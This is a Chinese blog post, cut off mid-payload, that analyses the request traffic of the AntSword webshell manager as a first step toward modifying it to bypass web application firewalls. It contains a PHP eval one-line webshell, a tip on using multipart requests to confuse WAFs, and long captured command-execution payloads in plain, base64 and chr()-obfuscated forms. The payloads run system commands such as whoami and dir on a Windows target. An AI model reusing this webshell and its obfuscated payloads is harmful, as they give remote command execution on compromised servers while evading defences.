蚁剑流量分析到改装蚁剑之waf 绕过

作者: print("") 分类: 未分类 发布时间: 2019-03-26 09:28

1. 蚁剑流量分析

1. 环境如下

靶机 windows 2008 R2   攻击机器 win10 蚁剑2.0.4 

1. 木马如下:

<?php eval($_POST[1]) ?>

蚁剑编辑器有如下几种

还有一种传递方式

加上这个mulipart 发包之后。数据包会像如下这样

multipart/form-data

POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA

------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="text"

title
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png

PNG ... content of chrome.png ...
------WebKitFormBoundaryrGKCBY7qhFd3TrwA--

这样的一种传值方式。如果不懂如下链接 https://blog.csdn.net/supwuq/article/details/50765149

这种方式可以干扰waf的判断。有时候可以达到一种绕过waf 的效果

2. 流量如下:

蚁剑流量((默认)

1=%40ini_set%28%22display_errors%22%2C%20%220%22%29%3B%40set_time_limit%280%29%3Becho%20%22df498%22%3B%24p%3Dbase64_decode%28%24_POST%5B%220xa4bd371dcaee8%22%5D%29%3B%24s%3Dbase64_decode%28%24_POST%5B%220xcb432ab178248%22%5D%29%3B%24d%3Ddirname%28%24_SERVER%5B%22SCRIPT_FILENAME%22%5D%29%3B%24c%3Dsubstr%28%24d%2C0%2C1%29%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3B%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe%28%24f%29%7B%24d%3Dexplode%28%22%2C%22%2C%40ini_get%28%22disable_functions%22%29%29%3Bif%28empty%28%24d%29%29%7B%24d%3Darray%28%29%3B%7Delse%7B%24d%3Darray_map%28%27trim%27%2Carray_map%28%27strtolower%27%2C%24d%29%29%3B%7Dreturn%28function_exists%28%24f%29%26%26is_callable%28%24f%29%26%26%21in_array%28%24f%2C%24d%29%29%3B%7D%3Bfunction%20runcmd%28%24c%29%7B%24ret%3D0%3Bif%28fe%28%27system%27%29%29%7B%40system%28%24c%2C%24ret%29%3B%7Delseif%28fe%28%27passthru%27%29%29%7B%40passthru%28%24c%2C%24ret%29%3B%7Delseif%28fe%28%27shell_exec%27%29%29%7Bprint%28%40shell_exec%28%24c%29%29%3B%7Delseif%28fe%28%27exec%27%29%29%7B%40exec%28%24c%2C%24o%2C%24ret%29%3Bprint%28join%28%22%0A%22%2C%24o%29%29%3B%7Delseif%20%28fe%28%27popen%27%29%29%7B%24fp%3D%40popen%28%24c%2C%27r%27%29%3Bwhile%28%21%40feof%28%24fp%29%29%7Bprint%28%40fgets%28%24fp%2C%202048%29%29%3B%7D%40pclose%28%24fp%29%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd%28%24r.%22%202%3E%261%22%29%3Bprint%20%28%24ret%21%3D0%29%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3Becho%20%22f740d%22%3Bdie%28%29%3B&0xa4bd371dcaee8=Y21k&0xcb432ab178248=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImbW9yZSAxMS5waHAmZWNobyBbU10mY2QmZWNobyBbRV0%3D

蚁剑流量 Random 模式

1=%40eVAl%28cHr%2864%29.ChR%28105%29.ChR%28110%29.ChR%28105%29.ChR%2895%29.ChR%28115%29.ChR%28101%29.ChR%28116%29.ChR%2840%29.ChR%2834%29.ChR%28100%29.ChR%28105%29.ChR%28115%29.ChR%28112%29.ChR%28108%29.ChR%2897%29.ChR%28121%29.ChR%2895%29.ChR%28101%29.ChR%28114%29.ChR%28114%29.ChR%28111%29.ChR%28114%29.ChR%28115%29.ChR%2834%29.ChR%2844%29.ChR%2832%29.ChR%2834%29.ChR%2848%29.ChR%2834%29.ChR%2841%29.ChR%2859%29.ChR%2864%29.ChR%28115%29.ChR%28101%29.ChR%28116%29.ChR%2895%29.ChR%28116%29.ChR%28105%29.ChR%28109%29.ChR%28101%29.ChR%2895%29.ChR%28108%29.ChR%28105%29.ChR%28109%29.ChR%28105%29.ChR%28116%29.ChR%2840%29.ChR%2848%29.ChR%2841%29.ChR%2859%29.ChR%28101%29.ChR%2899%29.ChR%28104%29.ChR%28111%29.ChR%2832%29.ChR%2834%29.ChR%2850%29.ChR%2855%29.ChR%2898%29.ChR%2848%29.ChR%28100%29.ChR%2834%29.ChR%2859%29.ChR%2836%29.ChR%28112%29.ChR%2861%29.ChR%2898%29.ChR%2897%29.ChR%28115%29.ChR%28101%29.ChR%2854%29.ChR%2852%29.ChR%2895%29.ChR%28100%29.ChR%28101%29.ChR%2899%29.ChR%28111%29.ChR%28100%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%2895%29.ChR%2880%29.ChR%2879%29.ChR%2883%29.ChR%2884%29.ChR%2891%29.ChR%2834%29.ChR%2848%29.ChR%28120%29.ChR%2851%29.ChR%28100%29.ChR%28100%29.ChR%2857%29.ChR%2851%29.ChR%2856%29.ChR%2848%29.ChR%2897%29.ChR%2856%29.ChR%28102%29.ChR%28100%29.ChR%28101%29.ChR%2857%29.ChR%2834%29.ChR%2893%29.ChR%2841%29.ChR%2859%29.ChR%2836%29.ChR%28115%29.ChR%2861%29.ChR%2898%29.ChR%2897%29.ChR%28115%29.ChR%28101%29.ChR%2854%29.ChR%2852%29.ChR%2895%29.ChR%28100%29.ChR%28101%29.ChR%2899%29.ChR%28111%29.ChR%28100%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%2895%29.ChR%2880%29.ChR%2879%29.ChR%2883%29.ChR%2884%29.ChR%2891%29.ChR%2834%29.ChR%2848%29.ChR%28120%29.ChR%2849%29.ChR%2854%29.ChR%2850%29.ChR%2851%29.ChR%2856%29.ChR%2855%29.ChR%2851%29.ChR%2851%29.ChR%28101%29.ChR%2855%29.ChR%2899%29.ChR%28101%29.ChR%2849%29.ChR%2834%29.ChR%2893%29.ChR%2841%29.ChR%2859%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%28100%29.ChR%28105%29.ChR%28114%29.ChR%28110%29.ChR%2897%29.ChR%28109%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%2895%29.ChR%2883%29.ChR%2869%29.ChR%2882%29.ChR%2886%29.ChR%2869%29.ChR%2882%29.ChR%2891%29.ChR%2834%29.ChR%2883%29.ChR%2867%29.ChR%2882%29.ChR%2873%29.ChR%2880%29.ChR%2884%29.ChR%2895%29.ChR%2870%29.ChR%2873%29.ChR%2876%29.ChR%2869%29.ChR%2878%29.ChR%2865%29.ChR%2877%29.ChR%2869%29.ChR%2834%29.ChR%2893%29.ChR%2841%29.ChR%2859%29.ChR%2836%29.ChR%2899%29.ChR%2861%29.ChR%28115%29.ChR%28117%29.ChR%2898%29.ChR%28115%29.ChR%28116%29.ChR%28114%29.ChR%2840%29.ChR%2836%29.ChR%28100%29.ChR%2844%29.ChR%2848%29.ChR%2844%29.ChR%2849%29.ChR%2841%29.ChR%2861%29.ChR%2861%29.ChR%2834%29.ChR%2847%29.ChR%2834%29.ChR%2863%29.ChR%2834%29.ChR%2845%29.ChR%2899%29.ChR%2832%29.ChR%2892%29.ChR%2834%29.ChR%28123%29.ChR%2836%29.ChR%28115%29.ChR%28125%29.ChR%2892%29.ChR%2834%29.ChR%2834%29.ChR%2858%29.ChR%2834%29.ChR%2847%29.ChR%2899%29.ChR%2832%29.ChR%2892%29.ChR%2834%29.ChR%28123%29.ChR%2836%29.ChR%28115%29.ChR%28125%29.ChR%2892%29.ChR%2834%29.ChR%2834%29.ChR%2859%29.ChR%2836%29.ChR%28114%29.ChR%2861%29.ChR%2834%29.ChR%28123%29.ChR%2836%29.ChR%28112%29.ChR%28125%29.ChR%2832%29.ChR%28123%29.ChR%2836%29.ChR%2899%29.ChR%28125%29.ChR%2834%29.ChR%2859%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%2832%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%28101%29.ChR%28120%29.ChR%28112%29.ChR%28108%29.ChR%28111%29.ChR%28100%29.ChR%28101%29.ChR%2840%29.ChR%2834%29.ChR%2844%29.ChR%2834%29.ChR%2844%29.ChR%2864%29.ChR%28105%29.ChR%28110%29.ChR%28105%29.ChR%2895%29.ChR%28103%29.ChR%28101%29.ChR%28116%29.ChR%2840%29.ChR%2834%29.ChR%28100%29.ChR%28105%29.ChR%28115%29.ChR%2897%29.ChR%2898%29.ChR%28108%29.ChR%28101%29.ChR%2895%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%28115%29.ChR%2834%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28101%29.ChR%28109%29.ChR%28112%29.ChR%28116%29.ChR%28121%29.ChR%2840%29.ChR%2836%29.ChR%28100%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2840%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28123%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2895%29.ChR%28109%29.ChR%2897%29.ChR%28112%29.ChR%2840%29.ChR%2839%29.ChR%28116%29.ChR%28114%29.ChR%28105%29.ChR%28109%29.ChR%2839%29.ChR%2844%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2895%29.ChR%28109%29.ChR%2897%29.ChR%28112%29.ChR%2840%29.ChR%2839%29.ChR%28115%29.ChR%28116%29.ChR%28114%29.ChR%28116%29.ChR%28111%29.ChR%28108%29.ChR%28111%29.ChR%28119%29.ChR%28101%29.ChR%28114%29.ChR%2839%29.ChR%2844%29.ChR%2836%29.ChR%28100%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%28117%29.ChR%28114%29.ChR%28110%29.ChR%2840%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%2895%29.ChR%28101%29.ChR%28120%29.ChR%28105%29.ChR%28115%29.ChR%28116%29.ChR%28115%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2841%29.ChR%2838%29.ChR%2838%29.ChR%28105%29.ChR%28115%29.ChR%2895%29.ChR%2899%29.ChR%2897%29.ChR%28108%29.ChR%28108%29.ChR%2897%29.ChR%2898%29.ChR%28108%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2841%29.ChR%2838%29.ChR%2838%29.ChR%2833%29.ChR%28105%29.ChR%28110%29.ChR%2895%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2844%29.ChR%2836%29.ChR%28100%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%2859%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%2832%29.ChR%28114%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28109%29.ChR%28100%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2861%29.ChR%2848%29.ChR%2859%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28115%29.ChR%28121%29.ChR%28115%29.ChR%28116%29.ChR%28101%29.ChR%28109%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2864%29.ChR%28115%29.ChR%28121%29.ChR%28115%29.ChR%28116%29.ChR%28101%29.ChR%28109%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28112%29.ChR%2897%29.ChR%28115%29.ChR%28115%29.ChR%28116%29.ChR%28104%29.ChR%28114%29.ChR%28117%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2864%29.ChR%28112%29.ChR%2897%29.ChR%28115%29.ChR%28115%29.ChR%28116%29.ChR%28104%29.ChR%28114%29.ChR%28117%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28115%29.ChR%28104%29.ChR%28101%29.ChR%28108%29.ChR%28108%29.ChR%2895%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2840%29.ChR%2864%29.ChR%28115%29.ChR%28104%29.ChR%28101%29.ChR%28108%29.ChR%28108%29.ChR%2895%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2864%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2836%29.ChR%28111%29.ChR%2844%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2841%29.ChR%2859%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2840%29.ChR%28106%29.ChR%28111%29.ChR%28105%29.ChR%28110%29.ChR%2840%29.ChR%2834%29.ChR%2810%29.ChR%2834%29.ChR%2844%29.ChR%2836%29.ChR%28111%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2832%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28112%29.ChR%28111%29.ChR%28112%29.ChR%28101%29.ChR%28110%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2861%29.ChR%2864%29.ChR%28112%29.ChR%28111%29.ChR%28112%29.ChR%28101%29.ChR%28110%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2839%29.ChR%28114%29.ChR%2839%29.ChR%2841%29.ChR%2859%29.ChR%28119%29.ChR%28104%29.ChR%28105%29.ChR%28108%29.ChR%28101%29.ChR%2840%29.ChR%2833%29.ChR%2864%29.ChR%28102%29.ChR%28101%29.ChR%28111%29.ChR%28102%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2840%29.ChR%2864%29.ChR%28102%29.ChR%28103%29.ChR%28101%29.ChR%28116%29.ChR%28115%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2844%29.ChR%2832%29.ChR%2850%29.ChR%2848%29.ChR%2852%29.ChR%2856%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%2864%29.ChR%28112%29.ChR%2899%29.ChR%28108%29.ChR%28111%29.ChR%28115%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28123%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2832%29.ChR%2861%29.ChR%2832%29.ChR%2849%29.ChR%2850%29.ChR%2855%29.ChR%2859%29.ChR%28125%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%28117%29.ChR%28114%29.ChR%28110%29.ChR%2832%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2859%29.ChR%28125%29.ChR%2859%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2861%29.ChR%2864%29.ChR%28114%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28109%29.ChR%28100%29.ChR%2840%29.ChR%2836%29.ChR%28114%29.ChR%2846%29.ChR%2834%29.ChR%2832%29.ChR%2850%29.ChR%2862%29.ChR%2838%29.ChR%2849%29.ChR%2834%29.ChR%2841%29.ChR%2859%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2832%29.ChR%2840%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2833%29.ChR%2861%29.ChR%2848%29.ChR%2841%29.ChR%2863%29.ChR%2834%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2861%29.ChR%28123%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%28125%29.ChR%2834%29.ChR%2858%29.ChR%2834%29.ChR%2834%29.ChR%2859%29.ChR%2859%29.ChR%28101%29.ChR%2899%29.ChR%28104%29.ChR%28111%29.ChR%2832%29.ChR%2834%29.ChR%2857%29.ChR%28102%29.ChR%2850%29.ChR%2850%29.ChR%2898%29.ChR%2834%29.ChR%2859%29.ChR%28100%29.ChR%28105%29.ChR%28101%29.ChR%2840%29.ChR%2841%29.ChR%2859%29%29%3B&0x16238733e7ce1=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&0x3dd9380a8fde9=Y21k

蚁剑 base64模式

1=%40eval%28%40base64_decode%28%24_POST%5B_0x769a4b11ae651%5D%29%29%3B&0x581a0a5256889=Y21k&0x9ca6216ef4a01=Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&_0x769a4b11ae651=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZWNobyAiNDA2ZWUiOyRwPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyIweDU4MWEwYTUyNTY4ODkiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbIjB4OWNhNjIxNmVmNGEwMSJdKTskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7JHI9InskcH0geyRjfSI7ZnVuY3Rpb24gZmUoJGYpeyRkPWV4cGxvZGUoIiwiLEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTtpZihlbXB0eSgkZCkpeyRkPWFycmF5KCk7fWVsc2V7JGQ9YXJyYXlfbWFwKCd0cmltJyxhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCRkKSk7fXJldHVybihmdW5jdGlvbl9leGlzdHMoJGYpJiZpc19jYWxsYWJsZSgkZikmJiFpbl9hcnJheSgkZiwkZCkpO307ZnVuY3Rpb24gcnVuY21kKCRjKXskcmV0PTA7aWYoZmUoJ3N5c3RlbScpKXtAc3lzdGVtKCRjLCRyZXQpO31lbHNlaWYoZmUoJ3Bhc3N0aHJ1Jykpe0BwYXNzdGhydSgkYywkcmV0KTt9ZWxzZWlmKGZlKCdzaGVsbF9leGVjJykpe3ByaW50KEBzaGVsbF9leGVjKCRjKSk7fWVsc2VpZihmZSgnZXhlYycpKXtAZXhlYygkYywkbywkcmV0KTtwcmludChqb2luKCIKIiwkbykpO31lbHNlaWYgKGZlKCdwb3BlbicpKXskZnA9QHBvcGVuKCRjLCdyJyk7d2hpbGUoIUBmZW9mKCRmcCkpe3ByaW50KEBmZ2V0cygkZnAsIDIwNDgpKTt9QHBjbG9zZSgkZnApO31lbHNleyRyZXQgPSAxMjc7fXJldHVybiAkcmV0O307JHJldD1AcnVuY21kKCRyLiIgMj4mMSIpO3ByaW50ICgkcmV0IT0wKT8icmV0PXskcmV0fSI6IiI7O2VjaG8gIjNjZTYwIjtkaWUoKTs%3D

Chr 模式

1=%40eVAl%28cHr%2864%29.ChR%28105%29.ChR%28110%29.ChR%28105%29.ChR%2895%29.ChR%28115%29.ChR%28101%29.ChR%28116%29.ChR%2840%29.ChR%2834%29.ChR%28100%29.ChR%28105%29.ChR%28115%29.ChR%28112%29.ChR%28108%29.ChR%2897%29.ChR%28121%29.ChR%2895%29.ChR%28101%29.ChR%28114%29.ChR%28114%29.ChR%28111%29.ChR%28114%29.ChR%28115%29.ChR%2834%29.ChR%2844%29.ChR%2832%29.ChR%2834%29.ChR%2848%29.ChR%2834%29.ChR%2841%29.ChR%2859%29.ChR%2864%29.ChR%28115%29.ChR%28101%29.ChR%28116%29.ChR%2895%29.ChR%28116%29.ChR%28105%29.ChR%28109%29.ChR%28101%29.ChR%2895%29.ChR%28108%29.ChR%28105%29.ChR%28109%29.ChR%28105%29.ChR%28116%29.ChR%2840%29.ChR%2848%29.ChR%2841%29.ChR%2859%29.ChR%28101%29.ChR%2899%29.ChR%28104%29.ChR%28111%29.ChR%2832%29.ChR%2834%29.ChR%2848%29.ChR%2849%29.ChR%2854%29.ChR%2899%29.ChR%2857%29.ChR%2834%29.ChR%2859%29.ChR%2836%29.ChR%28112%29.ChR%2861%29.ChR%2898%29.ChR%2897%29.ChR%28115%29.ChR%28101%29.ChR%2854%29.ChR%2852%29.ChR%2895%29.ChR%28100%29.ChR%28101%29.ChR%2899%29.ChR%28111%29.ChR%28100%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%2895%29.ChR%2880%29.ChR%2879%29.ChR%2883%29.ChR%2884%29.ChR%2891%29.ChR%2834%29.ChR%2848%29.ChR%28120%29.ChR%2857%29.ChR%2857%29.ChR%28101%29.ChR%2898%29.ChR%28102%29.ChR%2855%29.ChR%2853%29.ChR%28102%29.ChR%28100%29.ChR%2852%29.ChR%2854%29.ChR%2857%29.ChR%2853%29.ChR%2834%29.ChR%2893%29.ChR%2841%29.ChR%2859%29.ChR%2836%29.ChR%28115%29.ChR%2861%29.ChR%2898%29.ChR%2897%29.ChR%28115%29.ChR%28101%29.ChR%2854%29.ChR%2852%29.ChR%2895%29.ChR%28100%29.ChR%28101%29.ChR%2899%29.ChR%28111%29.ChR%28100%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%2895%29.ChR%2880%29.ChR%2879%29.ChR%2883%29.ChR%2884%29.ChR%2891%29.ChR%2834%29.ChR%2848%29.ChR%28120%29.ChR%2897%29.ChR%2848%29.ChR%2848%29.ChR%2853%29.ChR%2850%29.ChR%2850%29.ChR%2856%29.ChR%2855%29.ChR%2857%29.ChR%2848%29.ChR%2852%29.ChR%2848%29.ChR%2857%29.ChR%2834%29.ChR%2893%29.ChR%2841%29.ChR%2859%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%28100%29.ChR%28105%29.ChR%28114%29.ChR%28110%29.ChR%2897%29.ChR%28109%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%2895%29.ChR%2883%29.ChR%2869%29.ChR%2882%29.ChR%2886%29.ChR%2869%29.ChR%2882%29.ChR%2891%29.ChR%2834%29.ChR%2883%29.ChR%2867%29.ChR%2882%29.ChR%2873%29.ChR%2880%29.ChR%2884%29.ChR%2895%29.ChR%2870%29.ChR%2873%29.ChR%2876%29.ChR%2869%29.ChR%2878%29.ChR%2865%29.ChR%2877%29.ChR%2869%29.ChR%2834%29.ChR%2893%29.ChR%2841%29.ChR%2859%29.ChR%2836%29.ChR%2899%29.ChR%2861%29.ChR%28115%29.ChR%28117%29.ChR%2898%29.ChR%28115%29.ChR%28116%29.ChR%28114%29.ChR%2840%29.ChR%2836%29.ChR%28100%29.ChR%2844%29.ChR%2848%29.ChR%2844%29.ChR%2849%29.ChR%2841%29.ChR%2861%29.ChR%2861%29.ChR%2834%29.ChR%2847%29.ChR%2834%29.ChR%2863%29.ChR%2834%29.ChR%2845%29.ChR%2899%29.ChR%2832%29.ChR%2892%29.ChR%2834%29.ChR%28123%29.ChR%2836%29.ChR%28115%29.ChR%28125%29.ChR%2892%29.ChR%2834%29.ChR%2834%29.ChR%2858%29.ChR%2834%29.ChR%2847%29.ChR%2899%29.ChR%2832%29.ChR%2892%29.ChR%2834%29.ChR%28123%29.ChR%2836%29.ChR%28115%29.ChR%28125%29.ChR%2892%29.ChR%2834%29.ChR%2834%29.ChR%2859%29.ChR%2836%29.ChR%28114%29.ChR%2861%29.ChR%2834%29.ChR%28123%29.ChR%2836%29.ChR%28112%29.ChR%28125%29.ChR%2832%29.ChR%28123%29.ChR%2836%29.ChR%2899%29.ChR%28125%29.ChR%2834%29.ChR%2859%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%2832%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%28101%29.ChR%28120%29.ChR%28112%29.ChR%28108%29.ChR%28111%29.ChR%28100%29.ChR%28101%29.ChR%2840%29.ChR%2834%29.ChR%2844%29.ChR%2834%29.ChR%2844%29.ChR%2864%29.ChR%28105%29.ChR%28110%29.ChR%28105%29.ChR%2895%29.ChR%28103%29.ChR%28101%29.ChR%28116%29.ChR%2840%29.ChR%2834%29.ChR%28100%29.ChR%28105%29.ChR%28115%29.ChR%2897%29.ChR%2898%29.ChR%28108%29.ChR%28101%29.ChR%2895%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%28115%29.ChR%2834%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28101%29.ChR%28109%29.ChR%28112%29.ChR%28116%29.ChR%28121%29.ChR%2840%29.ChR%2836%29.ChR%28100%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2840%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28123%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2895%29.ChR%28109%29.ChR%2897%29.ChR%28112%29.ChR%2840%29.ChR%2839%29.ChR%28116%29.ChR%28114%29.ChR%28105%29.ChR%28109%29.ChR%2839%29.ChR%2844%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2895%29.ChR%28109%29.ChR%2897%29.ChR%28112%29.ChR%2840%29.ChR%2839%29.ChR%28115%29.ChR%28116%29.ChR%28114%29.ChR%28116%29.ChR%28111%29.ChR%28108%29.ChR%28111%29.ChR%28119%29.ChR%28101%29.ChR%28114%29.ChR%2839%29.ChR%2844%29.ChR%2836%29.ChR%28100%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%28117%29.ChR%28114%29.ChR%28110%29.ChR%2840%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%2895%29.ChR%28101%29.ChR%28120%29.ChR%28105%29.ChR%28115%29.ChR%28116%29.ChR%28115%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2841%2